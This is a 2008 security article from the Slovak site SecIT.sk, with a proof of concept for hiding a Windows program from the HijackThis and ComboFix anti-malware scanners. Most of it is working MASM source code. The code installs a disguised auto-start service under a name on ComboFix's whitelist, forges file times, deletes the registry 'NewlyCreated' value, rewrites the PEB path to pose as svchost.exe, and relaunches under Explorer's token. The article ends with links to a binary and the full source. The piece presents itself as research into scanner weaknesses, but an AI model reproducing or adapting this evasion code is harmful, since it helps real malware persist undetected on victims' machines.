Sociálne siete

SecIT.sk na Facebooku SecIT.sk na Google+ SecIT.sk na Twitteri

Podporte nás


V prípade, že Vám obsah nášho portálu niekedy nejakým spôsobom pomohol, či bol pre Vás prínosom prosím podporte jeho chod ľubovoľnou čiastkou. Ďakujeme!

Štítky

Vyhľadávanie

You are here

Domov
Upozornenie: Obsah je licenčne chránený a bez písomných súhlasov autora článku a vlastníka webovej stránky nesmie byť v žiadnej forme ďalej kopírovaný a šírený v pôvodnom, či v akokoľvek upravenom stave.

Hiding from Hijackthis and Combofix

WARNING: FOLLOWING DOCUMENT IS INTENDED FOR STUDY PURPOSES ONLY. AUTHOR HAS NO RESPONSIBILITY FOR ANY ABUSE OF THIS DOCUMENT OR ITS PARTS INCLUDING SOURCE CODE. IT IS NOT ALLOWED TO COPY THIS DOCUMENT WITHOUT AUTHORS PERSMISSION.

if you do not agree, please close your eyes and try to close your browser ;)

© Lodus 2008 pro secit.sk

First I want to apologize for my little strange English. This document describes how to write a program, that starts automatically at system start, has unlimited run time and is not visible in Hijackthis as a process or even as a startup entry - altough it is normal exe file. Samely, the program is not visible in Combofixs log (warning for Combofix users - i do not deal with Snapshot section, which is based on previous Combofix scan). This proof of concept is not based on any rootkit technology, it is based only on mistakes and very naive assumptions used in these two applications. Succesfully tested on Windows 2000, Windows XP.

Exploiting HijackThis

HijackThis' log information value is based on two sections. Process list and list of startup entries + some other informations. First task will be to remove our process from process list, the second one to remove it from the startup list.

Hijackthis - Process

Hijackthis uses standard high level API functions to work with processes: CreateToolHelp32Snapshot, Process32First, Process32Next. In the process list is displayed the whole path to executable file which is obtained by psapi.dll function - GetModuleFileNameExA. GetModuleFileNameEx works very simply, by calling of NtQueryInformationProcess obtains address of PEB structure in the process from which is then readed list of loaded modules by ReadProcessMemory. It is nescessary to remind that the PEB structure is in read-write memory, so this whole structure, even the list of loaded modules, can be easily changed and rewrote to anything we want.

PEB -> (ptr PEB +0x00c Ldr) PEB_LDR_DATA

PEB_LDR_DATA:
0C: InLoadOrderModuleLis
14: InMemoryOrderModuleList
1C: InInitializationOrderModuleList

All of these lists, InLoadOrder, InMemoryOrder, InInitializationOrder are structures of LIST_ENTRY type, that means blink & flink to strutures LDR_DATA_TABLE_ENTRY. This structure contains members such as UNICODE_STRING FullDllName, UINCODE_STRING BaseDllName and PVOID DllBase. GetModuleFileNameEx browses InLoadOrded list - it is important to change its first entry - executable file is loaded by PE loader as a first module.

;:: HIDE PROCESS :::::::::::::::::::::::::::::::::::::
assume fs: nothing
push fs: [30h]
pop edi ;edi = ptr to PEB

mov edi, dword ptr [edi+0Ch] ;ptr to LDR
mov edi, dword ptr [edi+0Ch] ;ptr to InLoadOrder
add edi, 24h ;ptr to UNICODE_STRING FullDllName
invoke ReDoPath, edi ;Rewrite & allocate new FullDllName

ReDoPath function rewrites original path and creates new path - in this example i will use same path as svchost.exe. The soltuion is, the GetModuleFileNameEx function returns the same path as system file svchost.exe.

Hijackthis - Startup

The second task is to hide our startup entry from Hjackthis. Hijackthis checkcs probably all keys and folders used for automatical startup, but contains very naive assumption that we can misuse. Services are filtered by simple filter, which is based on InStr function and CompanyName of executable file. What does it mean? If the file has a CompanyName which contains "Microsoft" string (eg. "IamNotMicrosoftFile"), the service will be filtered out. This part is the easiest, because you need only to change resource or modify compile settings in IDE.

Hijackthis - Summary

In this time we have program that is not visible in Hijackthis log. There is only another svchost or whatever name we desire.

Exploiting ComboFix

Combofix threat our invisibility by many checks, we can't allow even one check to see us. First problem is a list of files created in last X days. Next problem is a startup list including list of all services on which base we are running. The last problem is check of newly created services.

Combofix - list of files

The way how to hide from this check is very trivial as everything in this document. We only need is to change our file times to the same values as any system file (e. g. kernel32.dll) has. This is possible via standard kernel32.dll API functions (CreateFile, GetFileTime, SetFileTime). Combofix does not test TimeDateStamp in NT Header, so we don't need to add next 12 lines of code.

Combofix - services list


As we saw service listing filter in Hijackthis, Combofix is not that much different. Combofix contains its own whitelist based on service names. Whitelist - the list of all names of services which have to be filtered out from the log is saved in blank text file. There are no hashes, no catalogs, no digital sign checks and nothing else what would detect that we are trying to fake any whitelisted service. It is very easy to take this list and just try to bruteforce every name throught CreateService till we get an unused service. In this example i have choosen a static one.

Combofix - list of newly created services

Without no further study i started to write function for changing creation time of service register key. After failing to hide this log entry i noticed that Windows creates a value *NewlyCreated* in Services\enum\root\LEGACY_service_name which Combofix surprisingly checks. After our program start, it is necessary to delete this value. We haven't got write access into this key, but we can set it with no problems.

Detection summarry

If we do everything mentioned above, we get program with startup entry, which Hjackthis displays as another svchost process and Combofix see nothing, actually.

Proof of concept

Now i should describe behaviour of this PoC program. We have few states, the first one is, when user gets the program into his hands - it is necessary to install it - create service, change file times, etc. The second status is, when the program is started as a service. As a service, we have a bit harder life - working with windows, user interface, etc. From this and many other reasons i have decided, that it is better to run new instance with parameter under token of logged user and stop the service. The third status, when we are started with parameter is the last status, it is not installation, and even not a service... It is time to hide and show to the user, that we are still here!

# Obtain path, where we currently are
1) Installation
- Copy ourself into system32 folder, or whereever we want
- Set file times as any system file, eg. kernel32.dll
- Create service under name specified in Combofixs whitelist
- start new file with "go" parameter
- Terminate installer

#Are we started with "go" param?
2) We are service
- Wait till the explorer.exe is started and then duplicate its token
- Under Explorers token start ourself with "go" param.
- Terminate service

3) We are in final state
- Delete *NewlyCreated* value from reg key
- Hide from PEB
- Message to user :)

Source code

Installation

;-- PATH CHECK -------------------------------------------
invoke GetSystemDirectory, addr dbPath, sizeof dbPath
invoke lstrcat, addr dbPath, addr szMY_NAME

invoke GetModuleFileName, 0, addr dbBuffer, sizeof dbBuffer
invoke lstrcmp, addr dbPath, addr dbBuffer
.IF EAX
invoke CopyFile, addr dbBuffer, addr dbPath, 0
.IF EAX
; 1. copy file

; 2. modify file times
invoke GetModuleHandle, addr szKernel
lea ecx, dbBuffer

invoke GetModuleFileName, eax, ecx, sizeof dbBuffer
invoke CreateFile, addr dbBuffer,GENERIC_READ,FILE_SHARE_READ, \
0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, 0
.IF EAX != -1
mov esi, EAX
invoke GetFileTime, esi, addr tCT, addr tLAT, addr tLWT
Invoke CloseHandle, esi

;- set creation date, ... -
invoke CreateFile, addr dbPath,GENERIC_WRITE or GENERIC_READ,FILE_SHARE_READ,\
0, OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL, 0
.IF EAX != -1
mov esi, EAX
invoke SetFileTime, esi, addr tCT, addr tLAT, addr tLWT
Invoke CloseHandle, esi
.ENDIF
.ENDIF

; 3. create service
Invoke OpenSCManager, 0, 0, SC_MANAGER_ALL_ACCESS
.IF EAX
mov esi, EAX
invoke CreateService, esi, addr szSVC_NAME, addr szSVC_NAME, SERVICE_ALL_ACCESS,\
SERVICE_WIN32_OWN_PROCESS or SERVICE_INTERACTIVE_PROCESS, \
SERVICE_AUTO_START, SERVICE_ERROR_IGNORE,addr dbPath, \
0, 0, 0, 0, 0
.IF EAX
Invoke CloseServiceHandle, EAX
.ELSE
Invoke GetLastError
.IF EAX == ERROR_SERVICE_EXISTS
invoke MessageBox, 0, addr szSVC_ERROR, addr szCAPTION, MB_ICONERROR
invoke GetModuleFileName, 0, addr dbBuffer, sizeof dbBuffer
invoke DeleteFile, addr dbBuffer
Invoke ExitProcess, 0
.ENDIF
.ENDIF
Invoke CloseServiceHandle, esi
.ENDIF

; 4. run new file
invoke lstrcat, addr dbPath, addr szGO
invoke CreateProcess, 0, addr dbPath, 0, 0, 0, 0, 0, 0, addr tSI, addr tPI
Invoke CloseHandle, tPI.hProcess
Invoke ExitProcess, 1
.ENDIF
.ENDIF

Service / action?

;-- TO BE A SERVICE OR NOT TO BE A SERVICE... -------------
Invoke GetCommandLine
mov esi, EAX
Invoke lstrlen, esi
Add esi, EAX
.IF word ptr[esi-2] != "og"
lea esi, tSTE
assume esi: ptr SERVICE_TABLE_ENTRY
invoke RtlZeroMemory, esi, sizeof SERVICE_TABLE_ENTRY * 2
mov [esi].lpServiceName, offset szSVC_NAME
mov [esi].lpServiceProc, offset ServiceMain
Invoke StartServiceCtrlDispatcher, esi
assume esi: nothing
Invoke ExitProcess, 0
.ENDIF

We are service

ServiceMain proc uses esi edi argA:DWORD, argB:DWORD
local hProc: HANDLE
local hToken: HANDLE
local hDupToken: HANDLE

;-- SERVICE STUFF ----------------------------------------
invoke RegisterServiceCtrlHandler, addr szSVC_NAME, offset ControlHandler
mov hStatus, EAX

lea esi, tServiceStatus
assume esi: ptr SERVICE_STATUS
invoke RtlZeroMemory, esi, sizeof tServiceStatus
mov [esi].dwServiceType, SERVICE_WIN32_OWN_PROCESS Or SERVICE_INTERACTIVE_PROCESS
mov [esi].dwControlsAccepted, SERVICE_ACCEPT_STOP Or SERVICE_ACCEPT_SHUTDOWN
mov [esi].dwCurrentState, SERVICE_START_PENDING
Invoke SetServiceStatus, hStatus, esi

mov [esi].dwCurrentState, SERVICE_RUNNING
Invoke SetServiceStatus, hStatus, esi
assume esi: nothing

;-- RELOAD US TO NORMAL PROC. & STOP --------------------
Invoke VirtualAlloc, 0, C_PROCBUFFERLEN, MEM_COMMIT, PAGE_READWRITE
.IF EAX
mov edi, EAX
@@: invoke NtQuerySystemInformation, 5, edi, C_PROCBUFFERLEN, 0
.IF !EAX
mov esi, edi
.REPEAT
add esi, dword ptr[esi]
invoke lstrcmpW, dword ptr[esi+60], addr suExplorer
.IF !EAX
mov eax, dword ptr[esi+68]
Invoke OpenProcess, PROCESS_QUERY_INFORMATION, 0, EAX
.IF EAX
mov hProc, EAX
invoke OpenProcessToken, hProc, TOKEN_ALL_ACCESS, addr hToken
.IF EAX
invoke DuplicateTokenEx, hToken, MAXIMUM_ALLOWED, \
0, 2, \
TokenPrimary, \
addr hDupToken

invoke GetModuleFileName, 0, addr dbBuffer, sizeof dbBuffer
invoke lstrcat, addr dbBuffer, addr szGO
invoke RtlZeroMemory, addr tSI, sizeof STARTUPINFO
invoke CreateProcessAsUser, hDupToken, 0, addr dbBuffer, \
0, 0, 0, 0, 0, 0,\
addr tSI, addr tPI

Invoke CloseHandle, hDupToken
.ENDIF
Invoke CloseHandle, hProc
.ENDIF
Invoke CloseHandle, tPI.hProcess
jmp sm_ok
.ENDIF
.UNTIL (dword ptr[esi] == 0)
.ENDIF
Invoke Sleep, 32
jmp @b
sm_ok:
Invoke VirtualFree, edi, C_PROCBUFFERLEN, MEM_DECOMMIT
Invoke VirtualFree, edi, 0, MEM_RELEASE
.ENDIF

mov tServiceStatus.dwCurrentState, SERVICE_STOP_PENDING
invoke SetServiceStatus, hStatus, addr tServiceStatus
mov tServiceStatus.dwCurrentState, SERVICE_STOPPED
invoke SetServiceStatus, hStatus, addr tServiceStatus
Ret
ServiceMain EndP

We are not service - hide!

;-- NOT A SERVICE =)) LETS HIDE! --------------------------
invoke SetNamedSecurityInfo, addr szSVC_CFX, 4, DACL_SECURITY_INFORMATION, 0, 0, 0, 0
.IF !EAX
lea esi, szSVC_CFX
Add esi, 8

invoke RegOpenKey, HKEY_LOCAL_MACHINE, esi, addr hKey
.IF !EAX
invoke RegDeleteValue, hKey, addr szVAL_NAME
Invoke RegCloseKey, hKey
.ENDIF
.ENDIF

;:: INIT :::::::::::::::::::::::::::::::::::::
lea edi, dbBuffer
invoke GetSystemDirectory, edi, sizeof dbBuffer
invoke lstrcat, edi, addr szNEW_NAME
Invoke lstrlen, edi

mov sNEW_NAMEA.dwLength, ax
mov sNEW_NAMEA.dwMaxLength, ax
mov sNEW_NAMEA.lpBuffer, edi

push 1
push offset sNEW_NAMEA
push offset sNEW_NAMEW
Call RtlAnsiStringToUnicodeString

;:: HIDE PROCESS :::::::::::::::::::::::::::::::::::::
assume fs: nothing
push fs: [30h]
pop edi ;edi = ptr to PEB

mov edi, dword ptr [edi+0Ch] ;ptr to LDR
mov edi, dword ptr [edi+0Ch] ;ptr to InLoadOrder
add edi, 24h ;ptr to UNICODE_STRING FullDllName
invoke ReDoPath, edi ;Rewrite & allocate new FullDllName

invoke MessageBox, 0, addr szRUNNING, addr szCAPTION,MB_ICONQUESTION or MB_SERVICE_NOTIFICATION
Invoke ExitProcess, Null

Download

Binary for testing:
http://download.lodusweb.net/poc/hjtcfx_poc_1_1.zip

Complete source code in MASM:
http://download.lodusweb.net/poc/hjtcfx_poc_src_1_1.zip


Podporte nás


Páčil sa Vám tento článok? Ak áno, prosím podporte nás ľubovoľnou čiastkou. Ďakujeme!

Podobné články

ITC manažer Security-portal.cz Soom.cz
Hoax.cz Crypto-world.info